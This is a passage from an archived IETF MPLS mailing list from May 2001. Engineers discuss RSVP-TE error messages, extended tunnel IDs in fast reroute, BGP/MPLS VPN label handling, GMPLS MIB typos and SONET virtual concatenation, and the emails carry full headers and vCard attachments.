In ResvErr message,

<error flow descriptor> ::= <WF flow descriptor>
                          | <FF flow descriptor>
                          | <SE flow descriptor>

And the <WF flow descriptor>
                          | <FF flow descriptor>
                          | <SE flow descriptor>  is come from the Resv
message, since the Resv message has been changed in the mpls RSVP-TE, those
field in ResvErr message will use the same objects in Resv message of
RSVP-TE.  I hope I understand correctly.

Then the same thing for the PathErr, PathTear, and ResvTear.

Julia



From owner-mpls@UU.NET  Thu May 10 13:03:26 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA03488
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 13:03:26 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoky17171;
	Thu, 10 May 2001 17:02:53 GMT
Received: by mail-control.mail.uu.net 
	id QQkoky05273
	for mpls-outgoing; Thu, 10 May 2001 17:02:16 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoky05121
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 17:02:03 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoky24964
	for <mpls@uu.net>; Thu, 10 May 2001 17:01:26 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkoky15478
	for <mpls@uu.net>; Thu, 10 May 2001 17:01:26 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id NAA13087 for mpls@uu.net; Thu, 10 May 2001 13:01:26 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkokx02923
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 16:57:03 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkokx11465
	for <mpls@uu.net>; Thu, 10 May 2001 16:56:48 GMT
Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: pilgrim.cisco.com [171.69.204.12])
	id QQkokx09970
	for <mpls@uu.net>; Thu, 10 May 2001 16:56:48 GMT
Received: from telescope.cisco.com (telescope.cisco.com [161.44.128.68])
	by pilgrim.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id MAA02283;
	Thu, 10 May 2001 12:56:47 -0400 (EDT)
Received: from localhost (swallow@localhost) by telescope.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id MAA04009; Thu, 10 May 2001 12:56:41 -0400 (EDT)
Message-Id: <200105101656.MAA04009@telescope.cisco.com>
X-Authentication-Warning: telescope.cisco.com: swallow owned process doing -bs
To: Eric Gray <eric.gray@sandburst.com>
cc: Guangzhi Li <gli@research.att.com>, George Swallow <swallow@cisco.com>,
        Eric W Gray <ewgray@mindspring.com>, mpls@UU.NET
Subject: Re: Determining the Ingress IP address in an RSVP session 
In-reply-to: Your message of "Mon, 30 Apr 2001 15:21:43 EDT."
             <3AEDBB45.99228FBD@sandburst.com> 
Date: Thu, 10 May 2001 12:56:41 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

Eric, Guangzhi -

We've had a terminology problem with tunnels all along.  The way I
think about it is a tunnel is the desire to have a path from a source
to destination.  When that desire is frustrated we say the 'tunnel is
down' or no path extists for this tunnel.  A tunnel is *normally*
mapped one to one to an LSP.  The notable exceptions to this are in
the case of a reroute operation or a fast-reroute.

The scope of the SE style reservation is to the Session.  In order to
limit a session to a single tunnel, we extended the session object to
include the extended tunnel ID.  We also renamed the Port field to
tunnel_ID.  This creates a means of allowing multiple LSPs to
share a session, (and bandwidth using the SE style).

The sender_template contains the sender and the LSP_ID.  This creates
a means of allowing reroute operations.

On initial setup any Path message creating an LSP for a tunnel should
have The destination field of the session object set to the
destination of the tunnel and the source in the sender to the
ingress.  As the draft says, the extended tunnel_ID is normally zero.
This derives from one vendor's hope that they could avoid LDP
altogether and that merging destination based trees would be the
dominant use of RSVP lsps.  Our implementation always fills it in.

The way I've modeled fast reroute is as follows.

The node making the repair (Point of local repair or PLR for short)
creates an lsp from itself to the destination for this purpose.
This lsp may merge with the original lsp somewhere prior to the
destination but need not.  (Note that if the PLR is the penultimate
node it cannot.)  It uniquely identifies that LSP by using its own
address in the sender object.  But this only works if the
extended_tunnel ID is in use.  (A point that I need to add to my
reroute draft).

So in practive if the extended tunnel ID is non-zero, use that as the
identifier of the ingress.  If it is zero use the sender.

Also note that for GMPLS some folks are considering doing away with
the requirement that PATH messages are addressed to the destination.
In GMPLS, having non-RSVP routers in the path won't work so the reason
for addressing to the destination is gone.  Also it is possible to
have loss of neighbor connectivity in the control plane while the data
plane is just fine.  So being able to directly address these without
having to do IPinIP would be useful.  Don't know if this will actually
happen, but relying on the Source/Dest address in the IP header of the
Path message may not be a good choice in the long run.

...George

==================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824



From owner-mpls@UU.NET  Thu May 10 13:11:07 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA03716
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 13:11:07 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoky19784;
	Thu, 10 May 2001 17:10:00 GMT
Received: by mail-control.mail.uu.net 
	id QQkoky15830
	for mpls-outgoing; Thu, 10 May 2001 17:09:25 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoky15815
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 17:09:11 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoky14357
	for <mpls@uu.net>; Thu, 10 May 2001 17:08:06 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkoky02956
	for <mpls@uu.net>; Thu, 10 May 2001 17:08:05 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id NAA13884 for mpls@uu.net; Thu, 10 May 2001 13:08:04 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoky05741
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 17:03:09 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoky09004
	for <mpls@UU.NET>; Thu, 10 May 2001 17:00:50 GMT
Received: from bemigl01.swift.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailhost.swift.com [195.99.94.1])
	id QQkoky09308
	for <mpls@UU.NET>; Thu, 10 May 2001 17:00:49 GMT
Date: Wed, 09 May 2001 12:16:14 -0700
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
Subject: BGP/MPLS VPN PE LSR
To: "'mpls@uu.net'" <mpls@UU.NET>
Message-id: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C38@BBY1EXM01>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_GpkSt6kDW7ar2i/orP8uhQ)"
X-Proxy: besec50.swift.com protected by Firewall
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--Boundary_(ID_GpkSt6kDW7ar2i/orP8uhQ)
Content-type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT

Hi,

In an BGP/MPLS VPN scenario if a CE router sends an MPLS packet rather than an IP packet to a PE router, the PE router should still push 2 labels. My question is, should the PE router swap the customer's label too or leave it unchanged?

Yours,
-Shahram


--Boundary_(ID_GpkSt6kDW7ar2i/orP8uhQ)
Content-type: application/octet-stream; name="Shahram Davari.vcf"
Content-disposition: attachment; filename="Shahram Davari.vcf"

BEGIN:VCARD
VERSION:2.1
N:Davari;Shahram
FN:Shahram Davari
ORG:PMC-Sierra, Inc.;R&D Research Ottawa-109203
TITLE:Product Research Engineer
TEL;WORK;VOICE:+1 613 271 4018
ADR;WORK:;Ottawa;Kanata Research Park, Suite 834, Office Tower B, 555 Legget Drive;Kanata;Ontario;K2K 2X3;Canada
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:Ottawa=0D=0AKanata Research Park, Suite 834, Office Tower B, 555 Legget Driv=
e=0D=0AKanata, Ontario K2K 2X3=0D=0ACanada
EMAIL;PREF;INTERNET:Shahram_Davari@pmc-sierra.com
REV:20010112T213717Z
END:VCARD

--Boundary_(ID_GpkSt6kDW7ar2i/orP8uhQ)--



From owner-mpls@UU.NET  Thu May 10 13:18:19 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA04011
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 13:18:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkokz04973;
	Thu, 10 May 2001 17:17:43 GMT
Received: by mail-control.mail.uu.net 
	id QQkokz26155
	for mpls-outgoing; Thu, 10 May 2001 17:17:10 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkokz25957
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 17:17:00 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkokz08921
	for <mpls@UU.NET>; Thu, 10 May 2001 17:16:43 GMT
From: wesam.alanqar@mail.sprint.com
Received: from bemigl01.swift.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailhost.swift.com [195.99.94.1])
	id QQkokz12230
	for <mpls@UU.NET>; Thu, 10 May 2001 17:16:41 GMT
Date: Wed, 09 May 2001 12:43:42 -0500
Subject: Status of draf-stdenis-ms-over-mpls-00
To: mpls@UU.NET
Cc: pwe3@ietf.org
Message-id: <H00009880934b121.0989430221.kcopmp02@MHS>
MIME-version: 1.0
Content-type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_8ayLE9j2Pmm5ibmPxHiOwQ)"
X-Proxy: besec50.swift.com protected by Firewall
X-OpenMail-Hops: 1
Sender: owner-mpls@UU.NET
Precedence: bulk


--Boundary_(ID_8ayLE9j2Pmm5ibmPxHiOwQ)
Content-type: text/plain; charset=ISO-8859-1
Content-disposition: inline; Creation-Date="Wed, 9 May 2001 12:43:42 -0500"
Content-Transfer-Encoding: 7BIT

Can any body update me with the status of draft-stdenis-ms-over-mpls-00?

Any cooperation with Martini drafts?

Thanks.

------------------------------------------------------------------------
-----------
Wesam Alanqar         Member of Technical Staff
Technology Research Group (TR)
Technology Planning & Integration Dept. (TP&I)
Sprint
9300 Metcalf Avenue, KS 66212 
Phone: 913-534-5623 Work, Fax: 913-534-3485
------------------------------------------------------------------------
-----------
 

--Boundary_(ID_8ayLE9j2Pmm5ibmPxHiOwQ)
Content-type: application/octet-stream; NAME="Wesam Alanqar (E-mail).vcf"
Content-disposition: attachment;
 Creation-Date="Wed, 9 May 2001 12:43:42 -0500";
 filename="Wesam Alanqar (E-mail).vcf"
Content-Transfer-Encoding: base64

QkVHSU46VkNBUkQNClZFUlNJT046Mi4xDQpOOkFsYW5xYXI7V2VzYW0NCkZOOldlc2FtIEFs
YW5xYXIgKEUtbWFpbCkNCk9SRzpUZWNobm9sb2d5IFBsYW5uaW5nICYgSW50ZWdyYXRpb24t
U3ByaW50O1RlY2hub2xvZ3kgUGxhbm5pbmcgJiBJbnRlZ3JhdGlvbg0KVElUTEU6TWVtYmVy
IG9mIFRlY2huaWNhbCBTdGFmZg0KVEVMO1dPUks7Vk9JQ0U6KDkxMykgNTM0LTU2MjMNClRF
TDtXT1JLO0ZBWDooOTEzKSA1MzQtMzQ4NQ0KQURSO1dPUks6Ozg1MTs5MzAwIE1ldGNhbGYg
QXZlbnVlO092ZXJsYW5kIFBhcms7S1M7NjYyMTItMTQ2MztVbml0ZWQgU3RhdGVzIG9mIEFt
ZXJpY2ENCkxBQkVMO1dPUks7RU5DT0RJTkc9UVVPVEVELVBSSU5UQUJMRTo4NTE9MEQ9MEE5
MzAwIE1ldGNhbGYgQXZlbnVlPTBEPTBBT3ZlcmxhbmQgUGFyaywgS1MgNjYyMTItMTQ2Mz0w
RD0wQVVuaXRlZCBTPQ0KdGF0ZXMgb2YgQW1lcmljYQ0KRU1BSUw7UFJFRjtJTlRFUk5FVDp3
ZXNhbS5hbGFucWFyQG1haWwuc3ByaW50LmNvbQ0KUkVWOjIwMDEwMTI5VDE4MjEyN1oNCkVO
RDpWQ0FSRA0K

--Boundary_(ID_8ayLE9j2Pmm5ibmPxHiOwQ)--


From owner-mpls@UU.NET  Thu May 10 13:47:02 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA04783
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 13:47:01 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkolb13767;
	Thu, 10 May 2001 17:46:14 GMT
Received: by mail-control.mail.uu.net 
	id QQkolb29073
	for mpls-outgoing; Thu, 10 May 2001 17:45:38 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkolb29059
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 17:45:18 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkola25494
	for <mpls@UU.NET>; Thu, 10 May 2001 17:43:58 GMT
Received: from bemigl01.swift.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailhost.swift.com [195.99.94.1])
	id QQkola05321
	for <mpls@UU.NET>; Thu, 10 May 2001 17:43:57 GMT
Date: Thu, 10 May 2001 12:43:32 +0530
From: Arumugam R <arumugamr@future.futsoft.com>
Subject: Doubts in gmpls-te-mib
To: Adrian Farrel <afarrel@movaz.com>, "mpls@uu.net" <mpls@UU.NET>
Message-id: <3AFA3F9C.E3043735@future.futsoft.com>
Organization: FSL
MIME-version: 1.0
X-Mailer: Mozilla 4.7 [en] (Win98; I)
Content-type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_km50bpKgrbgWzgPzkHNWEw)"
X-Accept-Language: en
X-Proxy: besec50.swift.com protected by Firewall
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

--Boundary_(ID_km50bpKgrbgWzgPzkHNWEw)
Content-type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7BIT

Hi Adrian,

While going through the latest gmpls mib, the following observations are
found.

1. A new textual convention has been defined as
MplsGeneralizedLabelTypes, but when it is referred down the line, it is
referred as MplsGeneralizedLabelType only (in
gmplsTunnelHopExplicitLabelType and
gmplsTunnelHopReversePathExplicitLabelType ).
Which one to keep (Types or Type). I think it is a typo error.

2. In GmplsTunnelEntry the first object is gmplsTunnelAdminStatus. While
describing the object it is stated as mplsTunnelAdminStatus and it
refers to
mplsTunnelEntry. If the above entry is to be modified pointing to
gmplsTunnelEntry then I think all other objects have to be shifted one
step down since
gmplsTunnelOperStatus has a value { gmplsTunnelEntry 1 }. Will it be
modified or the AdminStatus will be removed from the TunnelEntry.

3. Also gmplsTunnelGPID and gmplsTunnelRNC are pointing to the same
value { gmplsTunnelEntry 6 }. I think this has to be changed i.e.
shifted down.

In the present TE mib ( te-mib-06), the MplsTunnelHopEntry does not have
the support of signaling Unnumbered Links in EROs. It is also not
mentioned in the
GmplsTunnelHopEntry. Will it be mentioned in future, in any one of the
mibs or is it left to the implementation.

Thanks and regards
Arumugam R

--Boundary_(ID_km50bpKgrbgWzgPzkHNWEw)
Content-type: text/x-vcard; name=arumugamr.vcf; charset=us-ascii
Content-description: Card for Arumugam R
Content-disposition: attachment; filename=arumugamr.vcf
Content-Transfer-Encoding: 7BIT

begin:vcard 
n:Ramasamy;Arumugam
tel;home:6223683
tel;work:4330550 Extn- 363
x-mozilla-html:FALSE
url:www.futsoft.com
org:Future Software;Products
version:2.1
email;internet:arumugamr@future.futsoft.com
title:Senior Software Engineer
adr;quoted-printable:;;480 Mount Road,=0D=0ANandanam,=0D=0A;Chennai;Tamil Nadu;600 035;India
fn:Aru
end:vcard

--Boundary_(ID_km50bpKgrbgWzgPzkHNWEw)--


From owner-mpls@UU.NET  Thu May 10 14:07:00 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA05313
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 14:06:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkolc21555;
	Thu, 10 May 2001 18:06:05 GMT
Received: by mail-control.mail.uu.net 
	id QQkolc11429
	for mpls-outgoing; Thu, 10 May 2001 18:05:28 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkolc11367
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 18:05:19 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkolc10082
	for <mpls@uu.net>; Thu, 10 May 2001 18:03:56 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkolc19359
	for <mpls@uu.net>; Thu, 10 May 2001 18:03:56 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id OAA19729 for mpls@uu.net; Thu, 10 May 2001 14:03:55 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkolc06180
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 18:03:26 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkolc20498
	for <mpls@UU.NET>; Thu, 10 May 2001 18:02:50 GMT
Received: from bemigl01.swift.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailhost.swift.com [195.99.94.1])
	id QQkolc18142
	for <mpls@UU.NET>; Thu, 10 May 2001 18:02:49 GMT
Date: Thu, 10 May 2001 13:42:54 +0200
From: Maarten Vissers <mvissers@lucent.com>
Subject: Re: Question about logical link in Link bundling
To: "Fong, Man Wing" <MFong@whiterocknetworks.com>
Cc: Debanjan Saha <DSaha@tellium.com>, Bala Rajagopalan <BRaja@tellium.com>,
        mpls@UU.NET, "'Kireeti Kompella'" <kireeti@juniper.net>,
        ccamp@ops.ietf.org
Message-id: <3AFA7EBE.6570755E@lucent.com>
Organization: Lucent Technologies
MIME-version: 1.0
X-Mailer: Mozilla 4.6 [en]C-CCK-MCD EMS-1.4  (WinNT; I)
Content-type: MULTIPART/MIXED; BOUNDARY="Boundary_(ID_13M27/buoqOE3MhJY1j/cg)"
X-Accept-Language: en
Original-CC: Debanjan Saha <DSaha@tellium.com>,
 Bala Rajagopalan <BRaja@tellium.com>, mpls@UU.NET,
 "'Kireeti Kompella'" <kireeti@juniper.net>, ccamp@ops.ietf.org
X-Proxy: besec50.swift.com protected by Firewall
References: 
 <66E0B27B8A29D511B19600D0B744446527AE51@192-168-1-220.customer.algx.net>
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

--Boundary_(ID_13M27/buoqOE3MhJY1j/cg)
Content-type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7BIT

Man Wing,

The virtual concatenation capability included in the transport NEs is
targeted to support pay-as-you-grow ethernet connections through the
transport network, which ingress/egress the transport network via
physical ethernet interfaces (10M, 100M, 1G, 10G). This capability is
not intended (at least not in today's view) to support an OC12c (STM-4
with VC-4-4c) as ingress/egress physical interface to the transport
network.

The fact that the transport NEs are extended with this virtual
concatenation capability is an intermediate step (early availibility) in
the pay-as-you-grow ethernet connections offer. The final step should
bring the virtual concatenation endpoints to the routers again, such
that in the emerging automatic switched transport network, routers can
dial up additional (or release superfluous) bandwidth, in a hitless
manner (using LCAS from the endpoints).

This will keep the OC12 (in general OC-N) interfaces on the routers
(using VSR optics similar to those used in ehternet today), and removes
the need to perform an additional conversion in the ingress/egress ports
of the transport network (saving costs also here). In addition, the
routers are now again free in selecting the protocol between them
(IP/ethernet, IP/PPP/HDLC, IP/PPP/GFP, MPLS/GFP, IP/ATM, ...) while the
transport network will transparently pass through the virtual
concatenated signal including(its payload with the particular protocol).

Regards,

Maarten

"Fong, Man Wing" wrote:
> 
> Maarten,
> 
> Very good point and description. The last case that you describe using VC
> would be a good alternative to support the bandwidth on demand. Now that the
> inverse muxing capability is being transferred from the router to the
> transport NEs. In this case, (Debanjan, you're right), the user would use an
> OC-12c interface on a router instead of the channelized OC-12 interface to
> save cost for this application (BOD).
> 
> Thanks,
> Man Wing
> 
>  -----Original Message-----
> From:   Maarten Vissers [mailto:mvissers@lucent.com]
> Sent:   Wednesday, May 09, 2001 5:06 AM
> To:     Debanjan Saha
> Cc:     'Fong, Man Wing'; Bala Rajagopalan; mpls@UU.NET; 'Kireeti Kompella';
> ccamp@ops.ietf.org
> Subject:        Re: Question about logical link in Link bundling
> 
>  << File: Card for Maarten Vissers >> Debanjan,
> 
> Just a thought... those 12 DS3s terminating on the same router (and
> providing access to 12 MPLS links) may terminate at the other ends on 12
> different routers. With one physical (OC12) interface you have now made
> (with the help of the transport network) connections with 12 other
> routers. Very cost effective...
> 
> Ofcourse you don't need a DS3 to be present in the STS1 is the router at
> the other end of the transport network has a EC1 of (channelised) OC-N
> interface. In this case you may deploy direct mapping of MPLS into STS1
> payload (via PPP/HDLC or the new GFP encapsulation).
> 
> One further cost reduction step (for the case there are e.g. only 5
> other routers connected) is to use STS1 virtual concatenation with GFP
> encapsulation of MPLS. You can now size each of the 5 STS pipes between
> 1 and a Xi STS1s (STS-1-Xv) as long as the sum of X1+X2+X3+X4+X5 <= 12.
> 
> Regards,
> 
> Maarten
> 
> Debanjan Saha wrote:
> >
> > Fong,
> > You're right. A channelize OC-12 can have 12 DS-3s (STS-1)within it.
> > However, if all of them are terminating on
> > the same LSR, I'm not sure why you'll use a channelized
> > OC-12 and not an OC-12c.
> >
> > Debanjan

--Boundary_(ID_13M27/buoqOE3MhJY1j/cg)
Content-type: text/x-vcard; name=mvissers.vcf; charset=us-ascii
Content-description: Card for Maarten Vissers
Content-disposition: attachment; filename=mvissers.vcf
Content-Transfer-Encoding: 7BIT

begin:vcard 
n:Vissers;Maarten
tel;cell:+31 62 061 3945
tel;fax:+31 35 687 5976
tel;home:+31 35 526 5463
tel;work:+31 35 687 4270
x-mozilla-html:FALSE
org:Lucent Technologies Nederland;NA&CPSE
version:2.1
email;internet:mvissers@lucent.com
adr;quoted-printable:;;Botterstraat 45=0D=0A=0D=0A;1271 XL Huizen;;;The Netherlands
fn:Maarten Vissers
end:vcard

--Boundary_(ID_13M27/buoqOE3MhJY1j/cg)--



From owner-mpls@UU.NET  Thu May 10 15:02:43 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA06280
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 15:02:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkolg02553;
	Thu, 10 May 2001 19:02:00 GMT
Received: by mail-control.mail.uu.net 
	id QQkolg28276
	for mpls-outgoing; Thu, 10 May 2001 19:01:22 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkolg28150
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 19:01:04 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkolg29625
	for <mpls@UU.NET>; Thu, 10 May 2001 19:00:17 GMT
Received: from mail-blue.research.att.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQkolg21471
	for <mpls@UU.NET>; Thu, 10 May 2001 19:00:12 GMT
Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id 74C704D451; Thu, 10 May 2001 15:00:08 -0400 (EDT)
Received: from research.att.com (dhcp145.research.att.com [135.207.28.145])
	by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id PAA25772;
	Thu, 10 May 2001 15:00:08 -0400 (EDT)
Message-ID: <3AFAE5EC.C229F149@research.att.com>
Date: Thu, 10 May 2001 15:03:08 -0400
From: Guangzhi Li <gli@research.att.com>
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: George Swallow <swallow@cisco.com>
Cc: Eric Gray <eric.gray@sandburst.com>, Eric W Gray <ewgray@mindspring.com>,
        mpls@UU.NET
Subject: Re: Determining the Ingress IP address in an RSVP session
References: <200105101656.MAA04009@telescope.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

George:

Thanks. So the conclusion could be:

(1) In order to  support destination rooted tree lsps, the SESSION field
of extended ID must be zero.
(2) In order to support fast reroute, the SESSION field of extended ID
must be used (non zero).

Then you can not have both. But both are legal based on RSVP-TE. It is
vendor's choice for implementation. But should be ready to accept both.
Right ?

Now  sender_template. Is it legal to put sender_template address different
from extended ID when extended ID is non-zero? In your example of fast
reroute,
Is it legal to put PLR address in the sender_template ? if not, then which
one ?

Thanks,

-- Guangzhi


George Swallow wrote:

> Eric, Guangzhi -
>
> We've had a terminology problem with tunnels all along.  The way I
> think about it is a tunnel is the desire to have a path from a source
> to destination.  When that desire is frustrated we say the 'tunnel is
> down' or no path extists for this tunnel.  A tunnel is *normally*
> mapped one to one to an LSP.  The notable exceptions to this are in
> the case of a reroute operation or a fast-reroute.
>
> The scope of the SE style reservation is to the Session.  In order to
> limit a session to a single tunnel, we extended the session object to
> include the extended tunnel ID.  We also renamed the Port field to
> tunnel_ID.  This creates a means of allowing multiple LSPs to
> share a session, (and bandwidth using the SE style).
>
> The sender_template contains the sender and the LSP_ID.  This creates
> a means of allowing reroute operations.
>
> On initial setup any Path message creating an LSP for a tunnel should
> have The destination field of the session object set to the
> destination of the tunnel and the source in the sender to the
> ingress.  As the draft says, the extended tunnel_ID is normally zero.
> This derives from one vendor's hope that they could avoid LDP
> altogether and that merging destination based trees would be the
> dominant use of RSVP lsps.  Our implementation always fills it in.
>
> The way I've modeled fast reroute is as follows.
>
> The node making the repair (Point of local repair or PLR for short)
> creates an lsp from itself to the destination for this purpose.
> This lsp may merge with the original lsp somewhere prior to the
> destination but need not.  (Note that if the PLR is the penultimate
> node it cannot.)  It uniquely identifies that LSP by using its own
> address in the sender object.  But this only works if the
> extended_tunnel ID is in use.  (A point that I need to add to my
> reroute draft).
>
> So in practive if the extended tunnel ID is non-zero, use that as the
> identifier of the ingress.  If it is zero use the sender.
>
> Also note that for GMPLS some folks are considering doing away with
> the requirement that PATH messages are addressed to the destination.
> In GMPLS, having non-RSVP routers in the path won't work so the reason
> for addressing to the destination is gone.  Also it is possible to
> have loss of neighbor connectivity in the control plane while the data
> plane is just fine.  So being able to directly address these without
> having to do IPinIP would be useful.  Don't know if this will actually
> happen, but relying on the Source/Dest address in the IP header of the
